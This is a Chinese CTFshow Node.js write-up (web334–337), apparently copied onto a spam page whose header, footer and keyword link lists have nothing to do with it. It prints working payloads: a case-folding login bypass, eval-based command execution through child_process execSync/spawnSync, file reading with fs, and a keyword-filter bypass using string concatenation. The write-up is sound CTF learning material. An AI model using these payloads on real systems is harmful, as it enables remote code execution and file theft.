当前位置: 首页 > news >正文

北京做兼职哪个网站有深度网站

北京做兼职哪个网站,有深度网站,试描述一下网站建设的基本流程,服务器多少钱一.什么是node.js 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境#xff0c;基于 Google 的 V8 引擎#xff0c;V8 引擎执行 Javascript 的速度非常…一.什么是node.js 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境基于 Google 的 V8 引擎V8 引擎执行 Javascript 的速度非常快性能非常好。 总结一下 我觉得node.js就是提供一个JavaScript环境 使这个语言升级 可以写一些后端的东西 直接做题学习 学习express ctfshow——web334 打开是一个登陆框好看的js 给了源码 var express require(express); // 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。 var router express.Router();var users require(../modules/user).items;var findUser function(name, password){return users.find(function(item){return name!CTFSHOW item.username name.toUpperCase() item.password password;}); };/* GET home page. */ router.post(/, function(req, res, next) {res.type(html);var flagflag_here;var sess req.session;var user findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: 登录失败}); }req.session.loginUser user.username;res.json({ret_code: 0, ret_msg: 登录成功,ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: 账号或密码错误});} });module.exports router;module.exports {items: [{username: CTFSHOW, password: 123456}] }; 想要不借助gpt看懂 先去学习一下 怎么用express模块创建服务器 ————————学完了———————— 感受是人类发明了gpt就要好好用它【呲牙笑】 还是让g大哥给我逐行注释一下吧【呲牙笑】 // 引入 Express 框架。这个模块用于在 Node.js 中创建 Web 应用。 var express require(express); //创建路由对象 var router express.Router(); //导入路由模块并获取其中的 items 属性这应该是一个用户对象数组。 var users require(../modules/user).items;// 定义一个名为 findUser 的函数接受用户名和密码作为参数。 // 使用 find 方法在 users 数组中查找用户名转换为大写和密码匹配的用户。 // 该函数还确保用户名不是 CTFSHOW。 var findUser function(name, password){return users.find(function(item){return name!CTFSHOW item.username name.toUpperCase() item.password password;}); };/* GET home page. *///挂载具体路由 router.post(/, function(req, res, next) {res.type(html);var flagflag_here;var sess req.session;var user findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: 登录失败}); }req.session.loginUser user.username;res.json({ret_code: 0, ret_msg: 登录成功,ret_flag:flag}); });}else{res.json({ret_code: 1, ret_msg: 账号或密码错误});} }); //向外导出路由对象 module.exports router;主要看这段代码 toUpperCase()的作用是把小写转换成大写 return name ! CTFSHOW item.username name.toUpperCase() item.password password; 所以这句话就用 小写的ctfshow 就能绕过 这里还有一个trick 在Character.toUpperCase()函数中字符ı会转变为I字符ſ会变为S。 在Character.toLowerCase()函数中字符İ会转变为i字符K会转变为k。 所以用ctfſhow 123456登录也可以出flag web335 页面问where is flag 先扫一下 看了一下 什么都没有 直接查看源代 这也没啥 看wp 这里打开源代码提示我们  在js文件中查找没有找到相关的什么东西这里怀疑是js的eval。 通过查找主要有这三种但是发现好像只有child_process是自带这里我们在本地尝试一下。 漏洞利用 Node.js中的chile_process.exec调用的是/bash.sh它是一个bash解释器可以执行系统命令。在eval函数的参数中可以构造require(child_process).exec();来进行调用。 通过学习我们可以知道下面这三个我们可以直接利用的 payload:     require(child_process).execSync(cat f*).toString()     require(child_process).spawnSync(cat, [f*]).stdout.toString()   额外的发现     execFileSync只能执行ls之类他cat不了文件     require(child_process).execSync(cat f*) 这里突然发现不用toString也行 web336 发现这里exec好像被禁了而且统配符不知道为什么突然用不了 所以再去学一下佬们的wp 通配符被ban了可以先查找flag在哪 F1 ?evalrequire( child_process ).spawnSync( ls, [ ./ ] ).stdout.toString() ?evalrequire( child_process ).spawnSync( cat, [ fl001g.txt ] ).stdout.toString() F2 看佬们还有一种解决方法 可以先看一下源代码 用这两个变量可以知道当前路径 用js里面的fs模块 这里用js的fs模块 ?evalrequire(fs).readFileSync(/app/routes/index.js, utf8) 记得这里要引入fs模块 就这样一个小女孩拿到了js源代码 果然是过滤了 exec 和 load var express require(express); // 引入 Express 框架 var router express.Router(); // 创建一个新的路由器对象/* GET home page. */ router.get(/, function(req, res, next) { // 定义处理 GET 请求的路由res.type(html); // 将响应内容类型设置为 HTMLvar evalstring req.query.eval; // 获取查询参数 eval 的值// 检查 evalstring 是否为字符串并且是否包含 exec 或 load 字符串忽略大小写if (typeof(evalstring) string evalstring.search(/exec|load/i) 0) {res.render(index, { title: tql }); // 如果条件满足渲染 index 视图并设置标题为 tql} else {// 否则使用 eval() 函数计算 evalstring 的值并渲染 index 视图设置标题为 eval() 的结果res.render(index, { title: eval(evalstring) }); } });module.exports router; // 导出路由器对象可以用字符串拼接的方式绕过 参考[CTFSHOW][WEB入门]nodejs部分WP_ctfshow web335 y4ta-CSDN博客 ?evalrequire(child_process)[exe%2bcSync](cat f*).toString() 把加号url编码(浏览器解析特性会成为空格 这里怎么通配符又能用了 F3 还是经过学习发现fs模块还有列出目录中的文件的方法。 //列出当前目录下的文件  require(fs).readdirSync(./) payload: require(fs).readFileSync(fl001g.txt,utf-8) web337 简单的md5数组绕过 也就是说js和php一样都是弱类型 payload a[]1b[]2
http://www.hkea.cn/news/14262212/

相关文章:

  • 投资项目网站建设方案上海物流公司网站建设
  • 宝路华手表官方网站广告设计公司员工荣誉证书
  • 做网站最好的网络公司设计规范网站
  • 石家庄建工科技学院石家庄做网站网站搭建工具的种类
  • 网站访问量来源简网app工厂
  • 北京电商购物网站佳木斯建设局网站
  • c 购物网站开发流程图中交路桥建设有限公司待遇怎么样
  • 住房和建设部执业资格注册中心网站网站小编可以在家做吗
  • 住房和城乡建设部网站三定易企建站
  • WordPress网站hym地图网页视频怎么下载到手机相册
  • 农业电商网站建设湖南人事考试网
  • 华亭网站建设做网站经验
  • 电子工程设计网站北京快三开奖走势图一定牛
  • 网站服务内容怎么写wordpress电子邮件注册
  • 网站开发 微盘网站建设与管理答案
  • 上海网站建设电话租车网站建设系统的设计
  • 夏天做哪些网站致富湖北最新数据消息
  • 和田做网站的联系电话做网站需要硬件软件
  • 爱站网站长工具如何给公司做网站
  • 怎么优化网站郑州网站建设企业推荐
  • 陕西网站制作公司哪家好如何做微信小程序网站
  • 网站空间怎么收费官方网站welcome
  • 怎样做网站优化找代理商的渠道有哪些
  • 做网站建设的利润静安手机网站建设
  • 站长之家 wordpress 流量统计郑州网站推广排名
  • 比较好的网站空间国内免费建站网站
  • 网站建设明细报价表仅供参考佛山网站优化怎么做
  • 祥云平台网站建设中英版网站怎么做
  • 大连网站排名网络推广公司建设局属于什么行业
  • 网站301跳转代码网站程序制作教程